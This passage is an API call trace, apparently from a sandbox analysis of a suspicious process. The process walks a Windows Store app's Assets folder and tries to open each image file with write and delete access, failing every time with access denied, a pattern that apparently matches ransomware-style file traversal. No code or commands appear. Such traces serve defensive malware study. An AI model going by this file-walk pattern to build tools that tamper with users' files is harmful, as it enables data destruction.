	[0091.967] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base2smalltilethin.scale-200.png")) returned 0x20
	[0091.968] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.968] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base2smalltilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.968] GetLastError () returned 0x5
	[0091.968] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776b60) returned 1
	[0091.968] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x347, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseAppList.scale-200.png", cAlternateFileName="")) returned 1
	[0091.968] wcscmp (_String1="BaseAppList.scale-200.png", _String2=".") returned 1
	[0091.968] wcscmp (_String1="BaseAppList.scale-200.png", _String2="..") returned 1
	[0091.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491e9d8
	[0091.968] wcscpy (in: _Dest=0x491e9d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.968] wcscat (in: _Dest=0x491e9d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.968] wcscat (in: _Dest=0x491e9d8, _Source="BaseAppList.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseAppList.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseAppList.scale-200.png"
	[0091.968] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\baseapplist.scale-200.png")) returned 0x20
	[0091.969] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.969] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\baseapplist.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.970] GetLastError () returned 0x5
	[0091.970] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e9d8) returned 1
	[0091.970] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseBadge.png", cAlternateFileName="")) returned 1
	[0091.970] wcscmp (_String1="BaseBadge.png", _String2=".") returned 1
	[0091.970] wcscmp (_String1="BaseBadge.png", _String2="..") returned 1
	[0091.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12320
	[0091.970] wcscpy (in: _Dest=0x2e12320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.970] wcscat (in: _Dest=0x2e12320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.970] wcscat (in: _Dest=0x2e12320, _Source="BaseBadge.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.png"
	[0091.970] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.png")) returned 0x20
	[0091.970] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.png", dwFileAttributes=0x20) returned 0
	[0091.970] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.970] GetLastError () returned 0x5
	[0091.970] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.png", dwFileAttributes=0x20) returned 0
	[0091.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12320) returned 1
	[0091.970] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseBadge.targetsize-24.png", cAlternateFileName="")) returned 1
	[0091.970] wcscmp (_String1="BaseBadge.targetsize-24.png", _String2=".") returned 1
	[0091.970] wcscmp (_String1="BaseBadge.targetsize-24.png", _String2="..") returned 1
	[0091.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b550
	[0091.971] wcscpy (in: _Dest=0x491b550, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.971] wcscat (in: _Dest=0x491b550, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.971] wcscat (in: _Dest=0x491b550, _Source="BaseBadge.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-24.png"
	[0091.971] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-24.png")) returned 0x20
	[0091.971] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0091.971] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.972] GetLastError () returned 0x5
	[0091.972] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0091.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b550) returned 1
	[0091.972] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseBadge.targetsize-32.png", cAlternateFileName="")) returned 1
	[0091.972] wcscmp (_String1="BaseBadge.targetsize-32.png", _String2=".") returned 1
	[0091.972] wcscmp (_String1="BaseBadge.targetsize-32.png", _String2="..") returned 1
	[0091.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b550
	[0091.972] wcscpy (in: _Dest=0x491b550, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.972] wcscat (in: _Dest=0x491b550, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.972] wcscat (in: _Dest=0x491b550, _Source="BaseBadge.targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-32.png"
	[0091.973] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-32.png")) returned 0x20
	[0091.977] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0091.977] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.977] GetLastError () returned 0x5
	[0091.977] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0091.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b550) returned 1
	[0091.977] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseBadge.targetsize-40.png", cAlternateFileName="")) returned 1
	[0091.977] wcscmp (_String1="BaseBadge.targetsize-40.png", _String2=".") returned 1
	[0091.977] wcscmp (_String1="BaseBadge.targetsize-40.png", _String2="..") returned 1
	[0091.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491c8b0
	[0091.978] wcscpy (in: _Dest=0x491c8b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.978] wcscat (in: _Dest=0x491c8b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.978] wcscat (in: _Dest=0x491c8b0, _Source="BaseBadge.targetsize-40.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-40.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-40.png"
	[0091.978] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-40.png")) returned 0x20
	[0091.978] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0091.978] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-40.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.979] GetLastError () returned 0x5
	[0091.979] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0091.979] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c8b0) returned 1
	[0091.979] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x231, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseBadge.targetsize-48.png", cAlternateFileName="")) returned 1
	[0091.979] wcscmp (_String1="BaseBadge.targetsize-48.png", _String2=".") returned 1
	[0091.979] wcscmp (_String1="BaseBadge.targetsize-48.png", _String2="..") returned 1
	[0091.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b268
	[0091.979] wcscpy (in: _Dest=0x491b268, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.979] wcscat (in: _Dest=0x491b268, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.979] wcscat (in: _Dest=0x491b268, _Source="BaseBadge.targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-48.png"
	[0091.980] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-48.png")) returned 0x20
	[0091.980] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0091.980] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-48.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.980] GetLastError () returned 0x5
	[0091.980] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0091.980] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b268) returned 1
	[0091.980] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseBadge.targetsize-96.png", cAlternateFileName="")) returned 1
	[0091.980] wcscmp (_String1="BaseBadge.targetsize-96.png", _String2=".") returned 1
	[0091.980] wcscmp (_String1="BaseBadge.targetsize-96.png", _String2="..") returned 1
	[0091.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491c6c0
	[0091.980] wcscpy (in: _Dest=0x491c6c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.980] wcscat (in: _Dest=0x491c6c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.980] wcscat (in: _Dest=0x491c6c0, _Source="BaseBadge.targetsize-96.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-96.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-96.png"
	[0091.980] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-96.png")) returned 0x20
	[0091.980] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-96.png", dwFileAttributes=0x20) returned 0
	[0091.981] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-96.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.981] GetLastError () returned 0x5
	[0091.981] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-96.png", dwFileAttributes=0x20) returned 0
	[0091.981] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c6c0) returned 1
	[0091.981] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x70b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BaseMedTile.scale-200.png", cAlternateFileName="")) returned 1
	[0091.981] wcscmp (_String1="BaseMedTile.scale-200.png", _String2=".") returned 1
	[0091.981] wcscmp (_String1="BaseMedTile.scale-200.png", _String2="..") returned 1
	[0091.981] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491eca8
	[0091.981] wcscpy (in: _Dest=0x491eca8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.981] wcscat (in: _Dest=0x491eca8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.981] wcscat (in: _Dest=0x491eca8, _Source="BaseMedTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-200.png"
	[0091.981] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basemedtile.scale-200.png")) returned 0x20
